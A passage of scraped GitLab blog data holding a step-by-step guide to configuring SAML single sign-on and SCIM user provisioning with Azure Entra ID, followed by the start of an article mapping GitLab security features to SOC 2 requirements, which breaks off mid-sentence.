provider.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098047/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750098046895.jpg","https://about.gitlab.com/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How-to: GitLab Single Sign-on with SAML, SCIM, and Azure’s Entra ID\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rob Jackson\"}],\n        \"datePublished\": \"2025-01-23\",\n      }",{"title":1143,"description":1144,"authors":1149,"heroImage":1145,"date":1151,"body":1152,"category":14,"tags":1153},[1150],"Rob Jackson","2025-01-23","As organizations increase in size, it becomes increasingly difficult and critical to ensure that the right team members have access to the right groups and projects within their development platform. GitLab offers some powerful methods to manage user access, especially now with [custom roles](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), but performing this at scale through a point-and-click user interface can be frustrating. However, all is not lost. You can use Security Assertion Markup Language (SAML) and System for Cross-domain Identity Management (SCIM) as a solution. (There are moments where I’m grateful for acronyms.) \n\nI was researching this topic for a particular customer, and walking through the GitLab documentation on the capabilities, but I never felt like I truly understood the integration. As is often the case, especially when dealing with integrating components, the knowledge from experience far outweighs that gained from reading or watching. In that light, I wanted to share my steps along this path and invite you all to join me. All you need is a free trial of Microsoft Azure Entra ID and GitLab Premium with a top-level group on GitLab.com.  \n\n**Note:** This exercise produces a working integration, however, for production environments there may be necessary deviations. For example, the user account email for the identity provider (Entra ID in this case) will likely not match your GitLab account email. \n\n## Creating the application in Entra ID\n\nFirst, go to the Entra ID admin center. Within the **Applications** area, select **Enterprise Applications**. We’re going to create a new application, and then create our own application.\n\n![Entra ID application creation flow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750098073325.png)\n\n\u003Ccenter>\u003Ci>Figure 1: Entra ID application creation flow\u003C/i>\u003C/center>\u003Cbr>\n\nWith our new application created, we can start configuring the single sign-on (SSO) parameters for our application. For this task, you may want to have side-by-side browser windows. One window on your Entra ID application, and another window on the SAML settings for your GitLab group. Those settings are located under **Settings**, then SAML SSO on the left side of your GitLab window, as shown in Figure 2. If you don’t see this option, you aren’t in the top-level group, don’t have permission to configure SAML, or don’t have GitLab Premium enabled for that group.\n\n![GitLab SAML configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098073326.png)\n\n\u003Ccenter>\u003Ci>Figure 2: GitLab SAML configuration\u003C/i>\u003C/center>\u003Cbr>\n\nWithin your Entra ID interface, select **Single sign-on** and click the SAML card.\n\n![Entra ID SAML configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image24_aHR0cHM6_1750098073328.png)\n\n\u003Ccenter>\u003Ci>Figure 3: Entra ID SAML configuration\u003C/i>\u003C/center>\u003Cbr>\n\nWith the side-by-side view, the SAML configuration settings are on the left and the GitLab SSO settings on the right. \n\n![Side-by-side view of Entra ID and GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image16_aHR0cHM6_1750098073330.png)\n\n\u003Ccenter>\u003Ci>Figure 4: Side-by-side view of Entra ID and GitLab\u003C/i>\u003C/center>\u003Cbr>\n\nNow we can start copying and pasting parameters. Within the Entra ID interface, select **Edit** within the “Basic SAML Configuration” block. The parameter sources and destination are identified in the following table.\n\n| Source (GitLab) | Destination (Entra ID) |\n| :---------------- | :------: | \n| Identifier        |   Identifier (Entity ID)   | \n| Assertion consumer service URL |   Reply URL (Assertion Consumer Service URL)   | \n| GitLab single sign-on URL    |  Sign on URL (Optional)   | \n\n\u003Cbr>\nOnce completed, your side-by-side view should appear similar to the following (noting the URLs are unique to your environment).\u003Cbr>\n\n![Completed basic SAML SSO configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098073332.png)\n\n\u003Ccenter>\u003Ci>Figure 5: Completed basic SAML SSO configuration\u003C/i>\u003C/center>\u003Cbr>\n\nClick **Save** within the Entra ID “Basic SML Configuration” window to save your hard work thus far. Note: You may need to click on the “X” in the upper right of the “Basic SAML Configuration” window if it doesn’t close automatically. \n\nAfter this window closes, you may get a popup to test single sign-on with your application. Select **No, I’ll test later**, because we still have more work to do (there is always more work to do). \n\n## Configuring attributes and claims\n\nWithin the Entra ID user interface, look for the section for “Attributes and Claims,” and click the **Edit** pencil icon. The first thing we want to do is modify the Unique User identifier (Name ID) value, so click on that row and set the Source attribute to **user.objectid**. Additionally, the Name identifier format must be updated, and set to **Persistent**.\n\n![Configuring attributes and claims](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750098073333.png)\n\n\u003Ccenter>\u003Ci>Figure 6: Configuring attributes and claims\u003C/i>\u003C/center>\u003Cbr>\n\nSave that claim configuration. Now we have additional claims to configure, but there are only three that we need here. So, feel free to go wild and delete those default four items under **Additional claims**, or you can edit the existing ones to match the table below. Note that these values (specifically, the Name) are case sensitive. \n\u003Cbr>\n\n| Name | Namespace | Source Attribute |\n| :---------------- | :------: | :------: | \n|emailaddress |http://schemas.microsoft.com/ws/2008/06/identity/claims | user.otheremail |\n| NameID | http://schemas.microsoft.com/ws/2008/06/identity/claims |user.objectid |\n\n\u003Cbr>\n\nThe resulting claims configuration should appear as follows. Note the use of **otheremail** for the “emailaddress” attribute. This was necessary for me as my primary email addresses within Entra ID are not the addresses used on GitLab.com. If you recall, when I set up my “user,\" I modified the contact information to include my gitlab.com email address as one of my “Other emails.” \n\n![Configuring the claims](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image21_aHR0cHM6_1750098073335.png)  \n\n\u003Ccenter>\u003Ci>Figure 7: Configuring the claims\u003C/i>\u003C/center>\u003Cbr>\n\nWith your attributes configured, under the Advance settings, enable **Include attribute name format** setting.\n\n![Advanced claims configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098073336.png)\n\n\u003Ccenter>\u003Ci>Figure 8: Advanced claims configuration\u003C/i>\u003C/center>\u003Cbr>\n\nYour \"Attributes and Claims\" window should now look similar to Figure 9 below.\n\n![Configured attributes and claims](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image18_aHR0cHM6_1750098073337.png)\n\n\u003Ccenter>\u003Ci>Figure 9: Configured attributes and claims\u003C/i>\u003C/center>\u003Cbr>\n\nIf you’re happy, or at least relatively content, with your configuration, click the “X” in the top right corner of the \"Attributes and Claims\" window to close it. \n\n## Configuring and assigning users\n\nNow that we have our application configured, we need to ensure that our users have been assigned to that application. I'll assume you’re working with a test instance that does not have the same email address as what is configured within your GitLab.com namespace. \n\nSo let’s go to the “Users and groups” within the Entra ID user interface for your configured application.\n\n![Managing application users and groups](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image17_aHR0cHM6_1750098073338.png)\n\n\u003Ccenter>\u003Ci>Figure 10: Managing application users and groups\u003C/i>\u003C/center>\u003Cbr>\n\nSelect **Add user/group**, and under the “Users and groups” where it says “None Selected,” click that text. Now you can select the user(s) to add to your application. These are the users that will be permitted to log into GitLab, authenticating themselves through Entra ID.\n\n![User selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image23_aHR0cHM6_1750098073339.png)\n\n\u003Ccenter>\u003Ci>Figure 11: User selection\u003C/i>\u003C/center>\u003Cbr>\n\nOnce selected, at the bottom of that page, click **Select**, and at the bottom of the next, select **Assign**. Now you should have a user assigned to your application.\n\n![User assigned to application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750098073340.png)\n\n\u003Ccenter>\u003Ci>Figure 12: User assigned to application\u003C/i>\u003C/center>\u003Cbr>\n\nNext, we need to ensure that the GitLab.com email address for that user is configured correctly. By clicking on the user itself, we can modify or configure some  additional information about that user. We can see below, the User principal name, which is based on an “onmicrosoft” domain. This is not the email address I have associated with my GitLab.com account. If you recall that we set the “Email address” attribute to “otheremail,” this is where we now configure that “other” email address. \n\n![User properties](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image20_aHR0cHM6_1750098073341.png)\n\n\u003Ccenter>\u003Ci>Figure 13: User properties\u003C/i>\u003C/center>\u003Cbr>\n\nClick the option to **Edit properties** for the user, and click on the **Contact Information** heading. Here we can add other emails – more specifically, the email address utilized for your GitLab.com account.  \n\n![Configuration of alternate email address](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image15_aHR0cHM6_1750098073342.png)\n\n\u003Ccenter>\u003Ci>Figure 14: Configuration of alternate email address\u003C/i>\u003C/center>\u003Cbr>\n\nThat should complete the configuration parameters that we need in Entra ID, but wait, there’s more. \n\nWithin the GitLab side now, you will need to configure a couple parameters. First, you might as well enable SAML for the group as that’s kind of a key piece here. GitLab offers some additional options to disable password authentication or enforce SSO to reduce the security risks within your application, but we’ll leave those unchecked for now. Similar to the table above, we’ll need a couple things from Entra ID to configure into GitLab. Please refer to the table below. \n\u003Cbr>\n\n| Source (Entra ID) | Destination (GitLab) | \n| :---------------- | :------: | \n|Login URL |Identity provider single sign-on URL |\n| Thumbprint | Certificate fingerprint|\n\n\u003Cbr>\n\n![GitLab SAML configuration from Entra ID](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image25_aHR0cHM6_1750098073343.png)\n\n\u003Ccenter>\u003Ci>Figure 15: GitLab SAML configuration from Entra ID\u003C/i>\u003C/center>\u003Cbr>\n\nLastly, you want to configure the default membership role for users logging in via SAML. Note that the access that you set for users here will cascade down to other groups and projects within your top-level group. Therefore, I would strongly recommend NOT setting this role to be “Owner.” Either “Guest” or “Minimal Access” would be acceptable options here, depending on the security posture of your organization. For more information about what these roles can and can not do, refer to the GitLab documentation on [Roles and Permissions](https://docs.gitlab.com/ee/user/permissions.html#roles). Now, save your work on the GitLab interface by clicking that beautiful blue **Save changes** button.\n\nWith your GitLab settings saved, you can now test your setup. I would encourage you to do this both through the “Verify SAML Configuration” on the GitLab system as well as with the Entra ID SSO \"Test\" button.\n\n## Troubleshooting SAML\n\nIn addition to the troubleshooting steps included within [GitLab documentation](https://docs.gitlab.com/ee/user/group/saml_sso/troubleshooting.html), I wanted to include a couple other items that I personally experienced. \n\nIf you get an error stating that the SAML reference did not contain an email address, check the Claim name for your email within the “Attributes and Claims” section within your Entra ID application. With GitLab 16.7, we added support for the “2008” attribute names, and at least for the email address setting, I found the default “xmlsoap” name for the email address claim to be a disappointing failure. \n\nAnother common error is “SAML Name ID and email address do not match your user account.” As you may suspect, this error is caused by a mismatch of the “NameID” and “emailaddress” attributes within the Entra ID application. This could be a misconfiguration of the “Attributes and Claims,” but it could also be that the properties of your test user don’t match your configuration. One helpful method to identify exactly what is coming through the SAML exchange is to use a SAML Tracer or SAML Message Decoder plugin with your web browser. \n\n## SCIM\n\nNow that you have SAML configured to enable users to log in via your Entra ID application, let’s make sure that people are assigned to the proper group(s) upon login. This can be incredibly helpful at scale, where instead of manually identifying which groups the particular users belong to, GitLab can learn this information from your identity application, Entra ID in this case. \n\nBecause SCIM utilizes groups to identify group membership, we need to create a group within Entra ID and add the relevant user(s) to the group. For this we’ll need the main administration menu for Entra ID. \n\n![Entra ID Group configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image19_aHR0cHM6_1750098073344.png)\n\n\u003Ccenter>\u003Ci>Figure 16: Entra ID Group configuration\u003C/i>\u003C/center>\u003Cbr>\n\nWe’re going to create a new group and assign our user(s) to that group. So click **New group** and configure a new group, which only requires you to configure a “Group name.” I used the default group type of “Security.” Leave the “Membership type” as “Assigned.” From this window, we can also assign the members.\n\n![Creating a New Entra ID Group](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098073345.png)\n\n\u003Ccenter>\u003Ci>Figure 17: Creating a New Entra ID Group\u003C/i>\u003C/center>\u003Cbr>\n\nOnce you’ve added the member(s), click **Create** in the bottom of that window. With your group created, and the user(s) assigned to the group, we can configure SCIM.\n\nImmediately below the SAML configuration section within the GitLab UI, you’ll see the “SCIM Token” area. Here you can generate a new token, and copy the endpoint URL, both of which will be useful for the next steps. Note that if you forget or already have a SCIM token, it can be reset. \n\n![SCIM token and endpoint within GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098073345.png)\n\n\u003Ccenter>\u003Ci>Figure 18: SCIM token and endpoint within GitLab\u003C/i>\u003C/center>\u003Cbr>\n\nWith this information saved, return to your Entra ID application configuration. Within the left side menu, you’ll find the following: \n\n![Provisioning SCIM within Entra ID](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098073346.png)\n\n\u003Ccenter>\u003Ci>Figure 19: Provisioning SCIM within Entra ID\u003C/i>\u003C/center>\u003Cbr>\n\nWithin the \"Provisioning\" section, click on **New Configuration**, which opens a new page where that token and URL from GitLab will be used. \n\n![New provisioning configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image22_aHR0cHM6_1750098073348.png)\n\n\u003Ccenter>\u003Ci>Figure 20: New provisioning configuration\u003C/i>\u003C/center>\u003Cbr>\n\nFeel free to test the connection to ensure that you’ve configured the parameters properly. After testing, click on the **Create** button to establish the configuration and work on our mappings and settings. You may need to click the “X” in the top right corner of the panel to return to the overview configuration.\n\nExpand the “Mappings,” which includes two parameters; “Provision Microsoft Entra ID Groups” and “Provision Microsoft Entra ID Users.” SCIM group provisioning isn’t currently supported in GitLab, and although it doesn’t break the integration, keeping group provisioning enabled may cause negligible error messages. Therefore, we want to disable “Provision Microsoft Entra ID Groups,” so click that entry and set the “Enabled” field to “No.” \n\n![Provisioning attribute mapping](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098073349.png)\n\n\u003Ccenter>\u003Ci>Figure 21: Provisioning attribute mapping\u003C/i>\u003C/center>\u003Cbr>\n\nSave that configuration and select “Provision Microsoft Entra ID Users.” Validate that all three \"Target Object Actions\" are enabled, and then proceed to the “Attribute Mapping” section. Delete all existing mappings available to delete (I find this easier because attributes can’t be assigned twice), and then configure the Attribute Mappings per the following table:\n\n| customappsso Attribute (Destination) | Microsoft Entra ID Attribute (Source) | Matching Precedence | Mapping Type |\n| :---------------- | :------: | :------: | :------: | \n|externalID|objectId|1|Direct|\n|active|Switch([IsSoftDeleted], , \"False\", \"True\", \"True\", \"False\")| |Expression|\n|userName|mailNickname| |Direct|\n|name.formatted|displayName| |Direct|\n|Emails[type eq “other”].value|userPrincipalName||Direct|\n\n\u003Cbr>\n\n![Editing attributes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image26_aHR0cHM6_1750098073349.png)\n\n\u003Ccenter>\u003Ci>Figure 22: Editing attributes\u003C/i>\u003C/center>\u003Cbr>\n\nAfter configuring all of the attribute mappings, the result should be similar to that found in Figure 22.\n\n![Completed attribute mapping configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098073350.png)\n\n\u003Ccenter>\u003Ci>Figure 23: Completed attribute mapping configuration\u003C/i>\u003C/center>\u003Cbr>\n\nNote the use of the “other” email within the **customappssso** attribute. This relates back to the “other” email we configured for the user back in the Entra ID user properties. In a production situation, the emails for the SSO account and the email address for the account within GitLab should match. \n\nWith your mapping complete (congratulations, Ptolemy), there are some advanced configuration settings necessary. Underneath the \"Attribute Mappings,\" click the box for “Show advanced options.” Once this box is checked, a link called “Edit attribute list for customappsso” is revealed.\n\n![Advanced attribute configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098073351.png)\n\n\u003Ccenter>\u003Ci>Figure 24: Advanced attribute configuration\u003C/i>\u003C/center>\u003Cbr>\n\nClick that link, and ensure that the Name “ID” is both “Primary Key” and “Required,” and that “externalID” is also “Required.” These attributes both refer to a unique user ID generated by Entra ID. However, although the “id” itself is required, it is not consistently provided within the API calls. Therefore, GitLab relies on the “externalID” to ensure the proper connection between the Entra ID and GitLab user accounts. \n\n![Required attribute list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098073351.png)\n\n\u003Ccenter>\u003Ci>Figure 25: Required attribute list\u003C/i>\u003C/center>\u003Cbr>\n\nSave these settings, and then close the “Attribute Mapping” page with the “X” in the top right of the window. Return to the \"Application Provisioning\" section and click **Start provisioning**. \n\nWithin GitLab, we need to configure the association between the group we configured within Entra ID and the level of access we want those users to have within the GitLab top-level group. Note that this association can be configured on each sub-group within GitLab for more extensive provisioning, but within GitLab, permissions flow downhill. Whatever permission you set for a user at a top-level group, or sub-group, will cascade down to all projects and groups contained therein. \n\nWithin the \"Settings\" portion of the GitLab menu, select **SAML Group Links**. Here is where you’ll configure the group name and determine what access level, or role, members of the Entra ID Group will have within this particular GitLab Group.\n\n![GitLab SAML Group link](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image27_aHR0cHM6_1750098073352.png)\n\n\u003Ccenter>\u003Ci>Figure 26: GitLab SAML Group link\u003C/i>\u003C/center>\u003Cbr>\n\nAs shown in Figure 26, I’ve configured my membership to The Academy such that any users within the dev-security group from Entra ID  will be granted Developer access. Note that this is a slight variation of what a typical production environment would look like. In most instances, the user account within the identity provider (Entra ID, in this case) would match the user’s corporate account email (and we wouldn’t require “other” emails). When configured properly, if the user does not already have an account on GitLab, one will be created for them tied to their SSO account. \n\n![GitLab SSO tutorial - image11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750098073352.png)\n\n\u003Ccenter>\u003Ci>Figure 27: SAML Group Links configured\u003C/i>\u003C/center>\u003Cbr>\n\nNow that you’ve completed the configuration, give it a try! From another browser, preferably in private mode to ignore any cookies or other yummy artifacts, paste the link for the GitLab SSO URL found in the GitLab SAML configurations. You should be prompted to log in with your Entra ID credentials and gain the proper access to your GitLab group! \n\nCongratulations, you’ve made it! I hope you’ve learned from and appreciate the work here, and we can all rejoice in the fact that the users within the Play-Dough app can now all properly authenticate, with the right permissions, to The Academy!\n\n> Don't have a GitLab account? [Sign up for a free, 60-day trial today](https://about.gitlab.com/free-trial/devsecops/).\n\n## Read more\n- [The ultimate guide to enabling SAML and SSO on GitLab.com](https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml/)\n- [SAML SSO for GitLab.com groups documentation](https://docs.gitlab.com/ee/user/group/saml_sso/)",[696,14,479,776,1058],{"slug":1155,"featured":6,"template":677},"how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id","content:en-us:blog:how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id.yml","How To Gitlab Single Sign On With Saml Scim And Azures Entra Id","en-us/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id.yml","en-us/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id",{"_path":1161,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1162,"content":1168,"config":1173,"_id":1175,"_type":16,"title":1176,"_source":17,"_file":1177,"_stem":1178,"_extension":20},"/en-us/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"title":1163,"description":1164,"ogTitle":1163,"ogDescription":1164,"noIndex":6,"ogImage":1165,"ogUrl":1166,"ogSiteName":767,"ogType":768,"canonicalUrls":1166,"schema":1167},"Guide to fulfilling SOC 2 security requirements with GitLab","Understand the application security features in the GitLab DevSecOps platform that map to System and Organization Controls 2 requirements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099576/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1172300481_IGPi3TS4VzFgcqhvEdBlR_1750099575518.jpg","https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide to fulfilling SOC 2 security requirements with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-01-22\",\n      }",{"title":1163,"description":1164,"authors":1169,"heroImage":1165,"date":1170,"body":1171,"category":14,"tags":1172},[856],"2025-01-22","For businesses that handle sensitive customer information, achieving SOC 2 (System and Organization Controls 2) compliance is not just a good practice — it's often a necessity. SOC 2 is a rigorous auditing standard developed by the American Institute of Certified Public Accountants that assesses a service organization's controls related to security, availability, processing integrity, confidentiality, and privacy.\n\nWhile SOC 2 is not legally mandated, it has become increasingly important, in part due to breaches consistently seen in news headlines. Obtaining SOC 2 compliance allows customers to build trust with service organizations because they know their data is being properly stored and security controls have been assessed by a third party.\n\nIn this guide, we'll review the requirements for obtaining SOC 2 compliance and how GitLab can help your organization meet the highest standards for application security.\n\n## What requirements are set by SOC 2\n\nThe compliance process involves an audit by an independent auditor who evaluates the design and operating effectiveness of an organization's controls. This process can be very costly, and many organizations are not sufficiently prepared before an audit. With the SOC 2 audit process typically taking close to a year, it is important to establish an efficient pre-audit process.\n\nTo obtain SOC 2 compliance, an organization must meet requirements based on the Trust Services Criteria:\n\n| Criteria | Requirements |\n| :---- | :---- |\n| Security | - Implement controls to protect against unauthorized access \u003Cbr> - Establish procedures for identifying and mitigating risks\u003Cbr> - Set up systems for detecting and addressing security incidents |\n| Availability | - Ensure systems are accessible for operation as agreed\u003Cbr> - Monitor current usage and capacity \u003Cbr> - Identify and address environmental threats that could affect system availability |\n| Process integrity | - Maintain accurate records of system inputs and outputs \u003Cbr> - Implement procedures to quickly identify and correct system errors \u003Cbr> - Define processing activities to ensure products and services meet specifications |\n| Confidentiality | - Identify and protect confidential information \u003Cbr> - Establish policies for data retention periods \u003Cbr> - Implement secure methods for destroying confidential data after retention periods expire |\n| Privacy | - Obtain consent before collecting sensitive personal information \u003Cbr> - Communicate privacy policies clearly and in plain language \u003Cbr> - Collect data only through legal means and from reliable sources |\n\u003Cbr>\n\nNote that these requirements are not one-time achievements, but rather a continuous process. Auditors will require control effectiveness over time.\n\n## How to achieve and maintain the security requirements\n\nGitLab provides several features off the board to get you started with assuring SOC 2 security needs are met:\n\n| Security Requirement | Addressing Feature |\n| :---- | :---- |\n| Implement controls to protect against unauthorized access | - Confidential Issues and Merge Requests \u003Cbr> - Custom Roles and Granular Permissions \u003Cbr> - Security Policies \u003Cbr> - Verified Commit \u003Cbr> - Signed Container Images \u003Cbr> - CodeOwners \u003Cbr> - Protected Branches |\n| Set up systems for detecting and addressing security incidents | - Vulnerability Scanning \u003Cbr> - Merge Request Security Widget \u003Cbr> - Vulnerability Insights Compliance Center \u003Cbr> - Audit Events \u003Cbr> - Vulnerability Report Dependency List \u003Cbr> - AI: Vulnerability Explanation \u003Cbr> - AI: Vulnerability Resolution |\n| Establish procedures for identifying and mitigating risks | All the above tools can be used by a security team to establish a procedure around what to do when security vulnerabilities are identified and how they are mitigated. |\n\u003Cbr>\nLet’s go through each section and highlight the security features that address these requirements. Note that a [GitLab Ultimate subscription](https://about.gitlab.com/free-trial/) and the correct Role and Permissions are required to access many of the features listed. Be sure to check out the appropriate documentation for more information.\n\n## Implement controls to protect against unauthorized access\n\nImplementing robust access controls is essential for protecting an organization's assets, ensuring regulatory compliance, maintaining operational continuity, and fostering trust. GitLab allows you to implement controls to follow the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), securing against unauthorized access. I will briefly cover:\n\n* [Security policies](#security-policies)  \n* [Custom roles and granular permissions](#custom-roles-and-granular-permissions)  \n* [Branch protections and CodeOwners](#branch-protections-and-codeowners)  \n* [Verified commits](#verified-commits)\n\n### Security policies\n\nGitLab's security policies, known as guardrails, enable security and compliance teams to implement consistent controls across their organization, helping prevent security incidents, maintain compliance standards, and reduce risk by automatically enforcing security best practices at scale.\n\n![Merge request approval policy in action](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750099596925.png)\n\n\u003Ccenter>\u003Ci>Merge request approval policy in action\u003C/i>\u003C/center>\u003Cbr>\n\nThe following policy types are available:\n\n* Scan execution policy: Enforce security scans, either as part of the pipeline or on a specified schedule  \n* Merge request approval policy: Enforce project-level settings and approval rules based on scan results  \n* Pipeline execution policy: Enforce CI/CD jobs as part of project pipelines  \n* Vulnerability management policy: Automate vulnerability management workflows\n\nHere is an example of ensuring compliance with the pipeline execution policy:\n\n1. Create a project that houses multiple compliance jobs. An example of a job can be to check permissions of files that are deployed. These jobs should be generic enough that they can be applied to multiple applications.\n2. Limit the project's permissions to only security/compliance officers; don’t allow developers to remove jobs. This allows for separation of duties.\n3. Inject the compliance jobs in batch to the projects where they are required. Force them to run no matter what, but allow approval from team lead to not block development. This will ensure compliance jobs are always run and cannot be removed by developers, and that your environment remains compliant.\n\n> ##### Learn how to create security policies with our [security policy documentation](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n### Custom roles and granular permissions\n\nCustom permissions in GitLab allow organizations to create fine-grained access controls beyond the standard role-based permissions, providing benefits such as:\n\n* more precise access control  \n* better security compliance  \n* reduced risk of accidental access  \n* streamlined user management  \n* support for complex organizational structures\n\n![GitLab custom roles](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/custom_roles_aHR0cHM6_1750099596926.png)\n\n\u003Ccenter>\u003Ci>Roles and permissions settings, including custom roles\u003C/i>\u003C/center>\n\n> ##### Learn how to create custom roles with granular permissions using our [custom role documentation](https://docs.gitlab.com/ee/user/custom_roles.html).\n\n### Branch protections and CodeOwners\n\nGitLab helps you further control who can change your code using two key features:\n* Branch Protection, which lets you set rules about who can update specific branches – like requiring approval before merging changes.\n* Code Ownership, which automatically finds the right people to review code changes by matching files to their designated owners.\n\nTogether, these features help keep your code secure and high-quality by making sure the right people review and approve changes.\n\n![Protected branches](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/protected_branches_aHR0cHM6_1750099596928.png)\n\n\u003Ccenter>\u003Ci>Protected branch settings\u003C/i>\u003C/center>\n\n> ##### Learn how to create protected branches along with CodeOwners using [protected branch](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) and [codeowner](https://docs.gitlab.com/ee/user/project/codeowners/) documentation.\n\n### Verified commits\n\nWhen you sign your commits digitally, you prove they really came from you, not someone pretending to be you. Think of a digital signature like a unique stamp that only you can create. When you upload your public GPG key to GitLab, it can check this stamp. If the stamp matches, GitLab marks your commit as `Verified`. You can then set up rules to reject commits that aren't signed, or block all commits from users who haven't verified their identity.\n\n![Commit signed with verified signature](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/signed_commit_aHR0cHM6_1750099596929.png)\n\n\u003Ccenter>\u003Ci>Commit signed with verified signature\u003C/i>\u003C/center>\u003Cbr>\n\nCommits can be signed with:\n\n* SSH key  \n* GPG key  \n* Personal x.509 certificate\n\n> ##### Learn more about verified commits with our [signed commits documentation](https://docs.gitlab.com/ee/user/project/repository/signed_commits/).\n\n## Set up systems for detecting and addressing security incidents\n\nSetting up systems for detecting and addressing security incidents is vital for maintaining a robust security posture, ensuring regulatory compliance, minimizing potential damages, and enabling organizations to respond effectively to the ever-evolving threat landscape.\n\nGitLab provides security scanning and vulnerability management for the complete application lifecycle. I will briefly cover:\n\n* [Security scanning and vulnerability management](#security-scanning-and-vulnerability-management)  \n* [Software bill of materials](#software-bill-of-materials)  \n* [System auditing and security posture review](#system-auditing-and-security-posture-review)\n* [Compliance and security posture oversight](#compliance-and-security-posture-oversight)\n\n### Security scanning and vulnerability management\n\nGitLab provides a variety of different security scanners that cover the complete lifecycle of your application:\n\n* Static Application Security Testing (SAST)  \n* Dynamic Application Security Testing (DAST)\n* Container Scanning  \n* Dependency Scanning  \n* Infrastructure as Code (IaC) Scanning  \n* Coverage-guided Fuzzing\n* Web API Fuzzing\n\nThese scanners can be added to your pipeline via the use of templates. For example, to run SAST and dependency scanning jobs in the test stage, simply add the following to your .gitlab-ci.yml:\n\n```yaml  \nstages:  \n   - test\n\ninclude:  \n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  \n  - template: Jobs/SAST.gitlab-ci.yml  \n``` \n\nThese jobs are fully configurable via environment variables and using GitLab job syntax. Once a pipeline kicks off, the security scanners run and detect vulnerabilities in the diff between the current branch and the target branch. The vulnerability can be seen in a merge request (MR), providing detailed oversight before the code is merged to the target branch. The MR will provide the 